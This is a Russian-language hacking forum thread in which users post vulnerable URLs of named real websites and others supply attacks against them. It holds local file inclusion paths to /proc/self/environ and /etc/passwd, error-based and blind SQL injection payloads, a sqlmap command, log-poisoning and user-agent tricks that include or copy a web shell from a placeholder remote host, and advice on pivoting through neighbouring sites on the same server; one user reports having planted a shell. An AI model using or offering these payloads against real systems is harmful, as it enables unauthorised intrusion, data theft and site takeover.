Ваши вопросы по уязвимостям.

Code:

http://pelczar.rzeszow.pl/duszpasterstwoszpitala/index.php?action=aktualnosci/../../../../../../../../../../../../../../../proc/self/environ/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Тоже енвайрон. Что сделать можно?

В данном случае base64 не помог

 

https://www.danscomp.com/showfullimage.php?type=products&image=kkk'
Помогите раскрутить

 

Запрос

Code:

union+select+count(table_name),2,3,4,5+from+information_schema.tables+limit+0,1+--+

выдает 188 колонок. Однако при просмотре после limit 44,1 , выдается пустое поле. Обрывается все на букве "b", так что думаю что там на самом деле имеется много полей. С чем может быть связано данное явление?

 

Code:

https://www.danscomp.com/showfullimage.php?type=products&image=kkk'and(extractvalue(1,repeat(version(),2)))='1

дальше будет сложнее, много всего фильтруется.

ничего не понял. давайте линк, посмотрю

можно бы было, если бы кавычки не экранировались:

Code:

http://www.inkaddict.com/search.php?query=lol

 

видим, что в ответе есть строка с user-agent. смотрим phpinfo():
allow url open on
вставляем строку

PHP:

<?php copy("http://evil/shell.txt,"./sh.php"); ?>

получаем шелл. для начала можно залить простой аплоадер

 

Здравствуйте. Дайте пожалуйста подсказку как раскручивать такие инъекции

HTML:

http://emofans.ru/gallery/emowallp

пост данные

PHP:

foto_msort=&foto_sort=<- уязвимый параметр 

сообщение

 

Доброй пятницы

вот такими способами не пробовал ?

Code:

нъекция после order by

Слепая (more than 1 row)
script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))

В ошибке
(ExtractValue)
script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
(rand)
script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--
(name_const)
script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)


копипаста с
https://rdot.org/forum/showthread.php?t=60

 

Ребята, есть LFI на сайте

Code:

http://alltrim.com.pl/technologie.php?cont=../../../../../../../../../../../../../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

еррор лог лежит тут: ../../../../../../../../../../../../var/log/httpd/error_log
Но он не содержит referer.
Что нибудь можно сделать?

 

да не, с инклудом варианты всегда есть:
1. понять, откуда пишутся логи в еррор_лог, отправить запрос

Code:

GET /index.php/<?php include("http://evilsite.com/yourShell.php"); ?> HTTP/1.0

или с некорректным методом.
2. у вас огромный список сайтов на этом хосте (http://devel.wtf/reverse/alltrim.com.pl) ищите тот, где доступна заливка файлов и инклудте

например, http://agzeta.pl/index.php/forum/profile/personality

 

имею ссылку вида
https://site.net/desktop/index.php

акунетикс показывает
X-Forwarded-For: 1'"

и получается You have an error in your SQL syntax


как это дело заюзать в sqlmap?

 

не уверен, но попробуйте так:

Code:

sqlmap -u "http://site.net/desktop/index.php" --headers="X-Forwarded-For: *" --dbs

 

Если поставить в куки например a=1, то отдает другую страницу.
Что сделать можно?

 

я же вам уже подсказывал в аналогичной ситуации. реферрер!

 

Ребят, помогите раскрутить. post инъекция в поле id

Code:

http://mail.topicimages.com/groupware/login.php

data:

Code:

mode=login&hmail_domain=topicimages.com&usb=&mac=&hmail_id=d'&hmail_pass=9&ck1=&ck2=

 

mode=login&hmail_domain=topicimages.com&usb=&mac=&hmail_id=d'and(extractvalue(1,concat(0x3a,version())))='1&hmail_pass=9&ck1=&ck2=

 

Тоже хочу что-нибудь заскринить

 

Да я уже залился туда, спасибо.
Плагин глючит, который куки ставит

 

Всем доброго дня. ) Наткнулся на сайте канала Перец на такой вот запрос: http://peretz.ru/ frontend_dev.php который вывел меня на панель БД. Сам я по БД не спец, поэтому обращаюсь к вам с вопросом можно ли выудить что-нибудь вкусное отсюда?

 

Доброе утро! Подскажите пожалуйста, тут можно что-нибудь сделать?

PHP:

http://kenford.com.ua/wp-content/plugins/jquery-vertical-mega-menu/skin.php?skin=jj

frank, дружище, ты как всегда на высоте